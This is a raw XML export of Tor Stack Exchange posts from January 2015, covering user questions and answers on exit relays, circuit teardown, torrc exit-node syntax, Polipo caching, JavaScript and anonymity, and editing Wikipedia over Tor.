  <row Id="5971" PostTypeId="2" ParentId="5966" CreationDate="2015-01-08T20:06:20.043" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I wonder how much 'plausible deniability' [..] for a given Tor user at a given site, at a given time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might be the only one using a relay for your exiting traffic at any given time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;E.g. if two Tor users with the exact same browser fingerprint [..] perhaps they are 100% indistinguishable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If it's the exact same publicly accessible site the two would be identical. Distinguishable perhaps by observations of their session behavior (sub-domain selection for example). Maybe the same person, definitely using Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How many 'peers' will be served by the average exit relay at any given time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The average exit relay can also be a middle-node and guard for someone at a given time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there multiple Tor users using the same IP (on the same site) at once, and if so, how many does it tend to be?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would require exits to track the type of traffic they relay and disclose the data. If you know, for all exits, the traffic they relay (from their exit policy), and the amount of traffic is exiting traffic (out of all traffic). If you could say with certainty that all exiting traffic on an instance of a circID came from n-peers. If you could correlate this data into an interval of size 'any given time' you could provide such an average. Alas, such is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During your use of Tor it depends.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;on how many exits you know about&lt;/li&gt;&#xA;&lt;li&gt;on the subset(s) (n-)length of exits which can handle a particular request-type&lt;/li&gt;&#xA;&lt;li&gt;on the likelihood that you make a particular request-type&lt;/li&gt;&#xA;&lt;li&gt;on the predictability of circuit failures for some type of exiting traffic&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Exits are chosen randomly from those discovered by your client during bootstrap. When your Tor client has some traffic to relay using Tor it first looks at the existing circuits for an exit which can handle your request. If such an exit doesn't exist it chooses an exit from the descriptors you know and, having checked the exit policy, builds a circuit with this exit as the edge node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The circuit may fail if.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the exit can't handle the request due to load (maybe ISP throttling)&lt;/li&gt;&#xA;&lt;li&gt;the exit decides to drop your traffic&lt;/li&gt;&#xA;&lt;li&gt;the exit is itself being censored&lt;/li&gt;&#xA;&lt;li&gt;the target site blocks the exit as a source ip&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A user of Tor at any given time.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;chooses an exit randomly from the ones you know about and suspect can handle a request&lt;/li&gt;&#xA;&lt;li&gt;cannot predict failure rate for unseen intervals&lt;/li&gt;&#xA;&lt;li&gt;can reflect on historical data for failures&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am assuming that [..] users sharing the same IP, especially if all coming from different middle nodes, is a good scenario for Tor user anonymity, and 'crowd anonymity'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More sharing of each node is good. It makes your adversary work harder, and position themselves better, to identify individual users of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-08T20:06:20.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostTypeId="1" CreationDate="2015-01-08T20:52:03.690" Score="2" ViewCount="148" Body="&lt;p&gt;I am using Tor with Google Chrome to bypass government censorship. Does polipo increase my surfing speed or chrome do the caching itself?&lt;/p&gt;&#xA;" OwnerUserId="6487" LastEditorUserId="923" LastEditDate="2015-01-09T00:46:04.620" LastActivityDate="2015-01-10T01:43:51.873" Title="Do I actually need polipo with Tor?" Tags="|chrome|polipo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostTypeId="2" ParentId="5967" CreationDate="2015-01-08T21:08:14.493" Score="1" Body="&lt;p&gt;According to section 5.1 [1] of tor's specification. During the last &lt;code&gt;CREATE&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;On failure, a server sends a&#xA;   DESTROY cell to tear down the circuit.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, Section 5.4 [2] states the circuit will be torn-down by sending &lt;code&gt;DESTROY&lt;/code&gt; back towards the client with the appropriate error code [3] in the payload.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or chooses a new circuit completely ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct. From Section 2.5 [4] of the path specification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Requests that might have been&#xA;   supported by the pending circuit thus become unsupported, and a new&#xA;   circuit needs to be constructed.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n735&quot; rel=&quot;nofollow&quot;&gt;Section 5.1&lt;/a&gt; &#xA;[2] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1099&quot; rel=&quot;nofollow&quot;&gt;Section 5.4&lt;/a&gt; &#xA;[3] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1144&quot; rel=&quot;nofollow&quot;&gt;Error codes&lt;/a&gt; &#xA;[4] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt#n516&quot; rel=&quot;nofollow&quot;&gt;Section 2.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2015-01-09T14:21:20.063" LastActivityDate="2015-01-09T14:21:20.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostTypeId="1" CreationDate="2015-01-09T04:25:29.183" Score="7" ViewCount="333" Body="&lt;p&gt;One of the greatest threats I can see to the anonymity of the Tor network and its users, is NSA/GCHQ (etc.)-operated Tor nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how state-of-the-art 'good practice' a Tor user adheres to - in &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;not mixing modes of anonymity&lt;/a&gt;, keeping fingerprinting and trackability to a minimum, and using encryption to a maximum - if the NSA has enough nodes under their belt, then they can (&lt;em&gt;some&lt;/em&gt; of the time), piece together the dots of the anonymity network and de-anonymize communications taking place in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious best thing to fight such NSA compromise of the Tor network, is to use 'people power' (there are more of us than in the NSA), to create as many of our &lt;em&gt;own&lt;/em&gt; non-NSA relays (even if on small pipes and not always having 24/7 up-time), and hold as much of &lt;em&gt;our&lt;/em&gt; own stake in the network, as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can one do apart from already hosting a relay yourself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a foundation to which one can donate (or even partner on charity events) which then sets up Tor community-controlled nodes to expand the network outside of NS control?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What activism, evangelism, or community-building could one do, or join?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This would be activism/evangelism specifically for more non-NSA &lt;em&gt;nodes&lt;/em&gt; being hosted mind you, not so much more Tor users, even though that would be of great benefit to Tor anonimity and potentially indirect benefit to more relays being set up anyway.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to this, is there some big decision that the Tor Project could make that automatically increases the amount of community-hosted relays (thus everyone outside of NSA's anonymity) - such as making all Tor users contribute a bit of (p2p-style) &lt;strong&gt;middle node&lt;/strong&gt; bandwidth to the network whenever they're connected, which might be in such a way that the user's browsing isn't even slowed down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this final idea is one of the best we could do to truly combat NSA Tor network takeover: a vast increase in Tor Browser instances of end users hosting the middle node infrastructure, where there's &lt;em&gt;by virtue&lt;/em&gt; of the size of the very Tor user base, &lt;em&gt;more&lt;/em&gt; control of it by the community, than by malicious sniffing adversaries such as the NSA.&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastEditorDisplayName="user1006" LastEditDate="2015-01-16T23:54:22.400" LastActivityDate="2023-10-19T22:32:03.353" Title="How can we get more community-operated (non-NSA) Tor relays set up?" Tags="|relays|network-health|relay-adversary|network-adversary|global-adversary|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostTypeId="2" ParentId="5974" CreationDate="2015-01-09T05:50:58.680" Score="1" Body="&lt;p&gt;I think it is important to continue to spread the word. I can see my peers opening up to Tor after they understand it is not 'just for criminals' but serves a greater purpose for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My way of helping is to run my own relay, even though my bandwidth is not very high, and to use it as my own entry point. I believe this helps my browsing be more secure.&lt;/p&gt;&#xA;" OwnerUserId="6488" LastActivityDate="2015-01-09T05:50:58.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5976" PostTypeId="1" CreationDate="2015-01-09T12:57:20.153" Score="2" ViewCount="101" Body="&lt;p&gt;Apparently, Cryptowall Ramsonware uses Tor network to connect to the hidden malicious servers. I believe folks should care about this matter!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it is only necessary that the Tor network works in order to reach file sharing and torrent websites blocked by ISP company?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a serious question .. Could anybody explain what should be/could be done about this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a serious concern and question as far as I am concerned.&lt;/p&gt;&#xA;" OwnerUserId="6489" LastEditorUserId="923" LastEditDate="2015-01-09T16:25:40.450" LastActivityDate="2015-01-10T22:29:16.103" Title="No one speaking about Cryptowall Ramsonware that use Tor network to connect to the hidden malicious servers?" Tags="|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5977" PostTypeId="1" AcceptedAnswerId="5978" CreationDate="2015-01-09T15:27:41.633" Score="5" ViewCount="4402" Body="&lt;p&gt;In my torrc file, I'd like to exclude certain exit nodes from specific countries, like for example France and Germany. What's the correct syntax for this in torrc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that when I try to list multiple country codes this way for either &lt;code&gt;ExcludeExitNodes&lt;/code&gt; or &lt;code&gt;ExitNodes&lt;/code&gt; will result in a &quot;Invalid exit list&quot; warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I've tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes {fr,de}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that gives me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 09 07:16:22.308 [notice] Tor v0.2.4.23 (git-598c61362f1b3d3e) running on Windows 7 with Libevent&#xA; 2.0.21-stable and OpenSSL 1.0.1h.&#xA;Jan 09 07:16:22.308 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 09 07:16:22.324 [notice] Read configuration file &quot;G:\tor\torrc&quot;.&#xA;Jan 09 07:16:22.324 [warn] Entry '{fr' in ExitNodes is malformed.&#xA;Jan 09 07:16:22.324 [warn] Entry 'de}' in ExitNodes is malformed.&#xA;Jan 09 07:16:22.324 [warn] Failed to parse/validate config: Invalid exit list '{fr,de}' for option '&#xA;ExitNodes'&#xA;Jan 09 07:16:22.339 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While using &lt;code&gt;ExcludeExitNodes {fr}&lt;/code&gt; works fine and successfully builds a circuit.&lt;/p&gt;&#xA;" OwnerUserId="6478" LastActivityDate="2022-11-09T09:28:06.937" Title="What's the correct syntax for listing multiple ExitNodes?" Tags="|configuration|windows|network-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostTypeId="2" ParentId="5977" CreationDate="2015-01-09T16:06:29.217" Score="7" Body="&lt;p&gt;The correct syntax is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes {fr},{de},{??}&#xA;&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work for you.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-09T16:06:29.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5979" PostTypeId="1" CreationDate="2015-01-09T17:27:14.793" Score="4" ViewCount="2741" Body="&lt;p&gt;I know the product Anonabox which turns a normal connection into wireless Tor traffic. Because the process of creating a wifi access point is relatively easy, I'm wondering is there a way I could route all traffics of the wifi access point through Tor network. I'm on Windows, so tutorials in Windows is more preferable.&#xA;Thank you so much. Have a nice day. &lt;/p&gt;&#xA;" OwnerUserId="3815" LastEditorUserId="667" LastEditDate="2015-03-02T16:49:02.420" LastActivityDate="2017-03-06T17:27:52.503" Title="Create a wifi hotspot by a laptop which pass all traffic through Tor (Windows)" Tags="|configuration|windows|network-configuration|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostTypeId="1" CreationDate="2015-01-09T19:06:02.553" Score="1" ViewCount="514" Body="&lt;p&gt;During install of Torbundle 4.0.2 nl there was een alert from my AV.&#xA;KipodToolsCby is now in quarantaine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do with it?&lt;/p&gt;&#xA;" OwnerUserId="6492" LastActivityDate="2015-01-09T19:06:02.553" Title="What to do with BrowserModifier:Win32/KipodToolsCby" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5981" PostTypeId="1" CreationDate="2015-01-09T20:29:55.597" Score="3" ViewCount="167" Body="&lt;p&gt;(process:4137): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ubuntu 14.04.1 trusty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the message mean?&lt;/p&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2015-03-11T06:01:30.847" Title="When Tor starts Glib Critical message - what is it?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostTypeId="1" CreationDate="2015-01-09T20:37:43.280" Score="5" ViewCount="2396" Body="&lt;pre&gt;&lt;code&gt;[warn] Received http status code 404 (&quot;Not found&quot;) from server 'x.x.x.x:9001' while fetching &quot;/tor/keys/fp/(40-key-characters and numbers)&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to allow the keys?&#xA;Is it important to have the keys for that session?&lt;/p&gt;&#xA;" OwnerUserId="6496" LastEditorUserId="88" LastEditDate="2015-07-01T09:41:01.267" LastActivityDate="2015-07-01T09:41:01.267" Title="Tor over VPN - http status code 404 not found" Tags="|tor-browser-bundle|directory|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostTypeId="2" ParentId="5997" CreationDate="2015-01-09T21:28:07.000" Score="0" Body="&lt;p&gt;An exit node can not initiate a stream to a client or on behalf of a client. Only clients can initiate streams. Once a client has established a stream, if the service is plaintext, the exit node can monitor and manipulate the data in both directions. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-09T21:28:07.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostTypeId="2" ParentId="5972" CreationDate="2015-01-10T01:43:51.873" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Polipo increase my surfing speed or chrome do the caching itself?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unless you disabled your Chrome-caching they are both caching.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I actually need Polipo with Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Polipo is useful for content filtering. It won't help unless you set it up to do some filtering. You might also find Privoxy useful for similar content filtering (but non-caching proxy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason you would rather use Chrome than Tor Browser?&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-10T01:43:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostTypeId="1" CreationDate="2015-01-10T07:04:24.930" Score="3" ViewCount="630" Body="&lt;p&gt;If I use Tor to log into my personal accounts (gmail, facebook, hotmail) I know I won't be anonymous anymore but is there any way they can trace my IP address? Either my ISP or anyone else?&#xA;I&quot;m mostly concerned about someone finding my location rather than knowing which sites and when I visit them. Thank you&lt;/p&gt;&#xA;" OwnerUserId="6498" LastEditorUserId="923" LastEditDate="2015-01-10T13:59:15.390" LastActivityDate="2015-03-12T05:53:03.727" Title="IP address tracking by accessing personal accounts" Tags="|anonymity|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5986" PostTypeId="2" ParentId="5985" CreationDate="2015-01-10T12:46:24.047" Score="1" Body="&lt;p&gt;This may not be exactly what you are looking for, but hope that it can help you to get some basic ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attack called Correlation Attack can be employed to trace where you are if the Autonomous Systems between you and the Guard node, and the Autonomous Systems between the Exit node and the final destination are controlled under one person (lets assume: maybe only Government Agency like NSA, CIA or FBI has that kind of power)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are using gmail, facebook, hotmail, I do recommend that you should create those accounts in Tor environment without providing any real information about yourself, and only log into those accounts within the Tor environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this task, you may need a temporary and unregistered phone number to verify the account. Since most of those services like Gmail and FB will ask your phone number while registering via Tor to send a code for verification purpose. After creating the accounts, you should destroy the SIM card of that phone number and never use or register the phone number if you want to stay anonymous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P/S: if you log into your account from a non-Tor IP, then the next time you log into the account via Tor, your account may get blocked. So do remember that if you create the account from Tor-IP, then next time you log in, your account will not be blocked.&#xA;For your ready reference, here it Onion site of Facebook, you should create an account from this site so that your account will not be blocked or ask for some secret question or verifying some friends' photos. &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5202" LastEditDate="2015-01-10T12:52:22.990" LastActivityDate="2015-01-10T12:52:22.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostTypeId="2" ParentId="5976" CreationDate="2015-01-10T22:29:16.103" Score="2" Body="&lt;p&gt;Folks do care about this matter. &lt;a href=&quot;https://www.youtube.com/watch?v=pRrFWwA-47U&quot; rel=&quot;nofollow&quot;&gt;This is the 31C3 talk that @user66466 refers to&lt;/a&gt; (33 minutes in).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or it is only necessary that the Tor network works in order to reach file sharing and torrent websites blocked by ISP company?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you're asking, but it is impossible to create an anonymizing network that identifies and filters the bad from the good traffic. Anyone can use the network to transmit any data they want. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could anybody explain what should be/could be done about this issue?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since &lt;em&gt;the issue&lt;/em&gt; is that people get their computers infected with malware, what should be done about it is mostly education. On how to prevent it, how to detect it, how to minimize the damage. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-10T22:29:16.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostTypeId="1" CreationDate="2015-01-10T23:37:07.593" Score="2" ViewCount="165" Body="&lt;p&gt;Putting aside possible security holes in Tor browser, is it risky to make tor browser remember history and/or accept cookies?&lt;/p&gt;&#xA;" OwnerUserId="6504" LastEditorUserId="6504" LastEditDate="2015-01-11T00:01:26.700" LastActivityDate="2016-05-01T21:43:39.153" Title="Is it dangerous to leak information to remember history or accept cookies in Tor browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostTypeId="1" CreationDate="2015-01-11T00:06:10.487" Score="3" ViewCount="84" Body="&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt#n197&quot; rel=&quot;nofollow&quot;&gt;Section 2.2&lt;/a&gt; of the path specification&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We do not choose any router in the same family as another in the same&#xA;      path. (Two routers are in the same family if each one lists the other&#xA;      in the &quot;family&quot; entries of its descriptor.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On more than one occasion I've had to manually create a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#NodeFamily&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;NodeFamily&lt;/code&gt;&lt;/a&gt; from the results of &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt;. In each case the node has a family but appears to ignore it during path selection. That is, until I create the family manually. This occurs with &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;StrictNodes&lt;/code&gt;&lt;/a&gt; using Tor v0.2.5.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a related incident, despite the use of &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;StrictNodes&lt;/code&gt;&lt;/a&gt;, an exit was used which violated constraints put into effect. Now I can understand being flexible in choosing to violate (some) constraints. If I say I don't want an exit to be used and I use &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;StrictNodes&lt;/code&gt;&lt;/a&gt;, then the exit shouldn't be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be concerned or is there a good reason for this to occur?&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorUserId="88" LastEditorDisplayName="user5341" LastEditDate="2015-05-28T12:36:23.767" LastActivityDate="2016-02-22T18:19:42.213" Title="Path selection constraints not working as expected" Tags="|circuit|protocol|consensus|myfamily|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5991" PostTypeId="2" ParentId="2053" CreationDate="2015-01-11T00:23:09.767" Score="1" Body="&lt;p&gt;You can torsocks together with a program like &lt;a href=&quot;https://github.com/rg3/youtube-dl&quot; rel=&quot;nofollow&quot;&gt;youtube-dl&lt;/a&gt; to download audio files from soundcloud and then play them locally.&lt;/p&gt;&#xA;" OwnerUserId="6505" LastActivityDate="2015-01-11T00:23:09.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostTypeId="2" ParentId="5982" CreationDate="2015-01-11T00:54:20.553" Score="2" Body="&lt;p&gt;The error means you got a 404 - not found while asking a directory cache for the key certificate for the authority identified by the fingerprint &amp;lt;40-key-characters and numbers&gt;. The address x.x.x.x is the cache itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will try another for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-11T00:54:20.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5994" PostTypeId="1" CreationDate="2015-01-11T20:09:06.640" Score="1" ViewCount="3130" Body="&lt;p&gt;The java script is blocked on a Tor browser but we can not sign up on many sites with a javascript turned off. From somewhere I have heard that java scripts can reveal our real IP address and hence put our use of Tor browser useless.&#xA;My question is, if one signup on some site using Tor browser but with a javascript enabled,  is there any chance of leaking the client's actual IP address?&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="6510" LastEditorUserId="923" LastEditDate="2015-01-12T02:43:52.390" LastActivityDate="2015-02-14T18:20:29.000" Title="Use of javascript in Tor browser" Tags="|anonymity|security|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostTypeId="1" CreationDate="2015-01-11T21:34:52.163" Score="5" ViewCount="2752" Body="&lt;p&gt;It is widely known that editing Wikipedia on Tor IP addresses is systematically banned, to avoid vandalization from abusive users looking for no-risk anonymous editing, for their own wikipedia-unfriendly reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia provide &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia:Advice_to_users_using_Tor&quot;&gt;a very helpful advice page&lt;/a&gt; for users using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the options they offer involve setting up accounts (either on non-Tor IP addresses or via a &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia:ACC&quot;&gt;'request an account'&lt;/a&gt; process (requiring an email) if it must be Tor), and having Tor unbanned on your account, but I'm looking to make a useful edit &lt;em&gt;without&lt;/em&gt; the pseudonymizing element of a Wikipedia username as well as either an email address or a non-Tor IP address unavoidably associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia:Advice_to_users_using_Tor#Alternative_proxies&quot;&gt;'Alternative proxies'&lt;/a&gt; seems to be the only one for non-account editing via Tor, where it appears to be hit or miss in the blocking success rate of open proxies. This obviously includes both proxies and VPNs, to be connected to within the Tor Browser itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a convenient way to do this in the Tor Browser, to attempt 100% anonymous Wikipedia editing on Tor? It must be free, to avoid the potentially pseudonymizing element of payment, if nothing else.&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastActivityDate="2020-04-25T14:56:28.043" Title="Editing Wikipedia on Tor without creating an account?" Tags="|anonymity|vpn|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostTypeId="2" ParentId="5994" CreationDate="2015-01-12T03:22:32.117" Score="1" Body="&lt;p&gt;If you need the javascript turned on to sign in to a website, your biggest problem is not javascript, your biggest problem is signing in. By signing in you are revealing who you are!!! Of course, you may use a pseudonym to sign in, but even using pseudonym, you are not anonymous any more. You are pseudo-anonymous. Now you should be real careful not to associate your actual name with your pseudonym through any means. For example, the style you write may reveal some information about you. What you write is also reveal some information about you. What Websites you visit reveal some information about you. If you let something slip, your anonymity maybe over and your pseudonym maybe linked to your real identity. In short, you have a bigger problem now than the javascript being turned on. Having said that, The javascript being turned on is one vector to attack and de-anonymise you, albeit, an important one. But remember, it is one vector among many vectors that can be utilized to de-anonymize you. Anonymity is difficult, specially if you continuesly use Tor to visit many different websites and you do not isolate each of these visits by for example, starting with new identity for each website you visit or even better having a new and unique instance of Tor for each website you visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default The Tor browser enables javascript. Thus, you should have no problem to sign in or log in to many sites. Folks have an option to manually disable the javascript to enhance their anonymity. In your case, since you like to sign in or log in to some sites you should stick in with default Tor browser settings. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-15T17:42:26.460" LastActivityDate="2015-01-15T17:42:26.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostTypeId="1" CreationDate="2015-01-12T12:56:01.873" Score="3" ViewCount="90" Body="&lt;p&gt;Is it possible for an exit node to modify the data stream of a circuit, for example could a cell such as a padding cell be send down the stream after the data have been transmitted ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking this is possible due to the binary modification attack, but am unsure if the exit node can only modify data, and not add cells &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="88" LastEditDate="2015-07-03T20:25:24.120" LastActivityDate="2015-07-03T20:25:24.120" Title="Is exit node able to modify / add packets to a stream?" Tags="|exit-relays|attacks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
